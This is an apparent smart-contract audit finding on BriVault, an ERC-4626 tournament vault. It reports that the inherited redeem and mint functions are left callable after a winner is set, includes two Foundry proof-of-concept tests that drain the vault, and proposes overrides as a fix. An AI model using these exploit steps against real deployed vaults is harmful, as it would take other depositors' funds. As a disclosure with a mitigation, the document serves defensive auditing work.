Root + Impact
Description
-
Losers can redeem their deposited assets freely at any time window even after winner is set. Since the native withdraw and redeem methods in ERC-4626 are not overridden even though the contract is inherited from ERC-4626.
-
This gives double exists for players to quit the game: one is the custom function BriVault::withdraw, which overrides nothing and is blocked for losers after winner is set. The other one is the original redeem in ERC-4626, which can be called if losers see the outcome unfavorable.
-
Also, malicious winners can stuff their shares to over claim even after the winner is set, since the ERC-4626 mint is not overridden, and is callable to every player at any time.
In BriVault.sol:
function withdraw() external winnerSet { ... }
In ERC-4626.sol:
function redeem(uint256 shares, address receiver, address owner) public virtual returns (uint256);
function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256);
function mint(uint256 shares, address receiver) public virtual returns (uint256);
Risk
Likelihood: High
-
This attack requires no further permission or set up. Losers are strongly incentivized to redeem all assets, breaking the intended tournament logic.
-
Malicious winners are strongly incentivized to mint themselves more shares.
-
ERC-4626 functions are public and can be called at any time by players even after the winner is set.
Impact: High
-
Malicious losers can redeem all assets to undermine the vault's deposit balance, causing honest winners to win less than expected or even revert in withdrawal.
-
Malicious winners can mint themselves more shares to drain vault's deposit balance, causing honest winners to win less than expected or even revert in withdrawal.
-
Protocol is totally unusable and its logic cannot be enforced.
Proof of Concept
Losers can redeem:
The exploitation steps is illustrated in the test function test_exploitLoserCanRedeemAfterWinnerSet(). In this scenario malicious losers are redeeming assets after setWinner(). Note that in the end BriVault::finalizedVaultAssets is still 15 ethers (it is a snapshot record before winner is set, which is used to calculate claim amount during withdrawal process), 3 times of vault's balance, thus causing revert.
function test_exploitLoserCanRedeemAfterWinnerSet() public {
address victim = makeAddr("victim");
address loser1 = makeAddr("loser1");
address loser2 = makeAddr("loser2");
mockToken.mint(victim, 50 ether);
mockToken.mint(loser1, 50 ether);
mockToken.mint(loser2, 50 ether);
vm.prank(owner);
briVault.setCountry(countries);
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, victim);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(loser1);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, loser1);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(loser2);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, loser2);
briVault.joinEvent(20);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0);
vm.startPrank(loser1);
uint256 loser1Shares = briVault.balanceOf(loser1);
uint256 assetsOut = briVault.redeem(loser1Shares, loser1, loser1);
vm.stopPrank();
console.log("loser1 redeemed assets:", assetsOut);
vm.startPrank(loser2);
uint256 loser2Shares = briVault.balanceOf(loser2);
uint256 assetsOut2 = briVault.redeem(loser2Shares, loser2, loser2);
vm.stopPrank();
console.log("loser2 redeemed assets:", assetsOut2);
console.log("total winner shares:", briVault.totalWinnerShares());
console.log("total assets in vault:", mockToken.balanceOf(address(briVault)));
console.log("finalized vault assets:", briVault.finalizedVaultAsset());
console.log("victim shares:", briVault.balanceOf(victim));
vm.prank(victim);
vm.expectRevert();
briVault.withdraw();
}
How to run this test: Paste test function test_exploitLoserCanRedeemAfterWinnerSet() in file test/briVault.t.sol.
Winners can mint:
The exploitation steps is illustrated in the test function test_exploitWinnerCanMintAfterWinnerSet(). In this scenario malicious winner (attacker) stuffs shares by calling ERC-4626 mint to overclaim, causing the victim cannot withdraw.
function test_exploitWinnerCanMintAfterWinnerSet() public {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address loser = makeAddr("loser");
mockToken.mint(attacker, 50 ether);
mockToken.mint(victim, 50 ether);
mockToken.mint(loser, 50 ether);
vm.prank(owner);
briVault.setCountry(countries);
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, victim);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(loser);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(10 ether, loser);
briVault.joinEvent(10);
vm.stopPrank();
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, attacker);
briVault.joinEvent(0);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0);
vm.startPrank(attacker);
uint256 attackerShares = briVault.balanceOf(attacker);
briVault.mint(2 * attackerShares, attacker);
briVault.withdraw();
vm.stopPrank();
assertEq(mockToken.balanceOf(address(briVault)), 0);
vm.prank(victim);
vm.expectRevert();
briVault.withdraw();
}
How to run this test: Paste test function test_exploitWinnerCanMintAfterWinnerSet() in file test/briVault.t.sol.
Recommended Mitigation
We can block ERC-4626 functions to enforce tournament logic. Note that in ERC-4626, both deposit and mint share the same _deposit gateway. Also, if we block all redeem pathways, we have to add a new function refundIfNoWinner() (necessary) to offer players a way to redeem their assets if there is no valid winner to claim the prize after the event.
+ bool public noWinnerAfterWinnerCountrySet
+ function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
+ ...
+ if (totalWinnerShares == 0) {
+ // No one picked the winner -> open refunds path
+ noWinnerAfterWinnerCountrySet = true;
+ } else {
+ noWinnerAfterWinnerCountrySet = false;
+ _setFinallizedVaultBalance();
+ }
+ }
+ function refundIfNoWinner() external {
+ if (block.timestamp < eventEndDate) revert eventNotEnded();
+ require(_setWinner, "Winner not set");
+ require(noWinnerAfterWinnerCountrySet == true, "Winners exist");
+
+ uint256 refundAmount = stakedAsset[msg.sender];
+ require(refundAmount > 0, "Nothing to refund");
+
+ // Clear caller’s participation state
+ stakedAsset[msg.sender] = 0;
+ uint256 shares = balanceOf(msg.sender);
+ if (shares > 0) {
+ _burn(msg.sender, shares);
+ }
+
+ IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ }
+ function redeem(uint256 shares, address receiver, address owner)
+ public
+ override(ERC4626)
+ returns (uint256)
+ {
+ revert UseWinnerWithdraw();
+ }
+
+ function withdraw(uint256 assets, address receiver, address owner)
+ public
+ override(ERC4626)
+ returns (uint256)
+ {
+ revert UseWinnerWithdraw();
+ }
+
+ function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
+ internal
+ override(ERC4626)
+ {
+ if (block.timestamp >= eventStartDate) revert eventStarted();
+ super._deposit(caller, receiver, assets, shares);
+ }
